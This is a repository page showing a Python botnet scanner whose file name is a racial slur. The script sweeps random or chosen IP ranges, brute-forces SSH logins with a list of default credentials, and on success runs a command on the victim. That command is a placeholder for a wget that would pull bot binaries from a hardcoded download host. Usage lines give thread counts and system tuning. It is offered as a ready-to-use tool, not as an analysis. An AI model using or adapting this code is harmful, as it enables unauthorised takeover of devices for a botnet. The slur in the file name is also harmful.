Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/Botnets/Scanning/AUTOSCANNER/Nigger.py
5038 views
1
#!/usr/bin/env python
2
# -*- coding: utf-8 -*-
3
4
# ulimit -n 999999; ulimit -u 99999
5
# sysctl -w fs.file-max=100000
6
# python nigger.py 376 LUCKY x 0 (LUCKY RANGES)
7
# python nigger.py 376 B 113.53 1 (SCANNER EXAMPLE)
8
# python nigger.py 376 RAND x all (IP RANDOMIZATION)
9
# 113.53, 125.26, 125.27, 125,
10
11
import threading, paramiko, random, socket, time, sys
12
13
paramiko.util.log_to_file("/dev/null") # silents spam of paramiko
14
15
files = [ # Binary names
16
"mipsel",
17
"mips",
18
"sh4",
19
"x86_64",
20
"armv6l",
21
"i586",
22
"m86k",
23
"sparc",
24
]
25
26
website = "23.89.158.69" # Binary Host IP
27
28
reservedips = [
29
'http://127.',
30
'http://0',
31
'http://10.',
32
'http://100.64',
33
'http://100.65',
34
'http://100.66',
35
'http://100.67',
36
'http://100.68',
37
'http://100.69',
38
'http://100.70',
39
'http://100.71',
40
'http://100.72',
41
'http://100.73',
42
'http://100.74',
43
'http://100.75',
44
'http://100.76',
45
'http://100.77',
46
'http://100.78',
47
'http://100.79',
48
'http://100.80',
49
'http://100.81',
50
'http://100.82',
51
'http://100.83',
52
'http://100.84',
53
'http://100.85',
54
'http://100.86',
55
'http://100.87',
56
'http://100.88',
57
'http://100.89',
58
'http://100.90',
59
'http://100.91',
60
'http://100.92',
61
'http://100.93',
62
'http://100.94',
63
'http://100.95',
64
'http://100.96',
65
'http://100.97',
66
'http://100.98',
67
'http://100.99',
68
'http://100.100',
69
'http://100.101',
70
'http://100.102',
71
'http://100.103',
72
'http://100.104',
73
'http://100.105',
74
'http://100.106',
75
'http://100.107',
76
'http://100.108',
77
'http://100.109',
78
'http://100.110',
79
'http://100.111',
80
'http://100.112',
81
'http://100.113',
82
'http://100.114',
83
'http://100.115',
84
'http://100.116',
85
'http://100.117',
86
'http://100.118',
87
'http://100.119',
88
'http://100.120',
89
'http://100.121',
90
'http://100.122',
91
'http://100.123',
92
'http://100.124',
93
'http://100.125',
94
'http://100.126',
95
'http://100.127',
96
'http://169.254',
97
'http://172.16.',
98
'http://172.17.',
99
'http://172.18.',
100
'http://172.19.',
101
'http://172.20.',
102
'http://172.21.',
103
'http://172.22.',
104
'http://172.23.',
105
'http://172.24.',
106
'http://172.25.',
107
'http://172.26.',
108
'http://172.27.',
109
'http://172.28.',
110
'http://172.29.',
111
'http://172.30.',
112
'http://172.32.',
113
'http://192.0.0.0',
114
'http://192.0.0.1',
115
'http://192.0.0.2',
116
'http://192.0.0.3',
117
'http://192.0.0.4',
118
'http://192.0.0.5',
119
'http://192.0.0.6',
120
'http://192.0.0.7',
121
'http://192.0.2.',
122
'http://192.88.99.',
123
'http://192.168.',
124
'http://198.18.',
125
'http://198.19.',
126
'http://198.51.100.',
127
'http://203.0.113.',
128
'http://224.',
129
'http://225'
130
]
131
132
133
passwords = [ # perls/la
134
"root:root",
135
"root:admin",
136
"admin:admin",
137
"ubnt:ubnt"
138
"root:1234",
139
"admin:1234",
140
"guest:guest",
141
"user:user",
142
"test:test",
143
"pi:raspberry",
144
"vagrant:vagrant"
145
]
146
147
148
print sys.argv[0]+' <Threads(MAX: 376)> <A/B/C/ (IP Class)> <Range> <1(slow but effective)/2(fast but less effective)/perl(scans for perlbots/all(scans for everything!>'
149
150
if sys.argv[4] == '1':
151
passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective
152
if sys.argv[4] == '2':
153
passwords = [ "root:root", "admin:admin" ] #Fast but yet less effective
154
if sys.argv[4] == 'perl':
155
passwords = [ "pi:raspberry", "vagrant:vagrant", "ubnt:ubnt" ] #perl scanner
156
if sys.argv[4] == 'all':
157
passwords = [ "pi:raspberry", "vagrant:vagrant", "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] # scans all passwords but very slow
158
159
ipclassinfo = sys.argv[2]
160
if ipclassinfo == "A":
161
ip1 = sys.argv[3]
162
elif ipclassinfo == "B":
163
ip1 = sys.argv[3].split(".")[0]
164
ip2 = sys.argv[3].split(".")[1]
165
elif ipclassinfo == "C":
166
ips = sys.argv[3].split(".")
167
num=0
168
for ip in ips:
169
num=num+1
170
if num == 1:
171
ip1 = ip
172
elif num == 2:
173
ip2 = ip
174
elif num == 3:
175
ip3 = ip
176
class sshscanner(threading.Thread):
177
global passwords
178
global ipclassinfo
179
if ipclassinfo == "A":
180
global ip1
181
elif ipclassinfo == "B":
182
global ip1
183
global ip2
184
elif ipclassinfo == "C":
185
global ip1
186
global ip2
187
global ip3
188
def run(self):
189
while 1:
190
try:
191
while 1:
192
thisipisbad='no'
193
if ipclassinfo == "A":
194
self.host = 'http://'+ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
195
elif ipclassinfo == "B":
196
self.host = 'http://'+ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
197
elif ipclassinfo == "C":
198
self.host = 'http://'+ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))
199
elif ipclassinfo == "LUCKY":
200
lucky = ["201.13","197.23","187.89","37.236","191.53","161.18","191.53","186.208","1.0","177.137","177.38","101.108","125.27","177.44","179.189","179.97","125.17"]
201
self.host = 'http://'+random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
202
else:
203
self.host = 'http://'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))
204
for badip in reservedips:
205
if badip in self.host:
206
thisipisbad='yes'
207
if thisipisbad=='no':
208
break
209
self.host=self.host.replace('http://', '')
210
username='root'
211
password="0"
212
port = 22
213
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
214
s.settimeout(3)
215
s.connect((self.host, port))
216
s.close()
217
ssh = paramiko.SSHClient()
218
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
219
dobreak=False
220
for passwd in passwords:
221
if ":n/a" in passwd:
222
password=""
223
else:
224
password=passwd.split(":")[1]
225
if "n/a:" in passwd:
226
username=""
227
else:
228
username=passwd.split(":")[0]
229
try:
230
ssh.connect(self.host, port = port, username=username, password=password, timeout=3)
231
dobreak=True
232
break
233
except:
234
pass
235
if True == dobreak:
236
break
237
badserver=True
238
stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")
239
output = stdout.read()
240
if "inet addr" in output:
241
badserver=False
242
websites = [ ]
243
if badserver == False:
244
print 'Adding:'+username+'<'+password+'>'+self.host+'|'+str(port)
245
ssh.exec_command("put ur wget here ignore the shit up top.") #la
246
247
time.sleep(15)
248
ssh.close()
249
except:
250
pass
251
252
for x in range(0,int(sys.argv[1])):
253
try:
254
t = sshscanner()
255
t.start()
256
except:
257
pass
258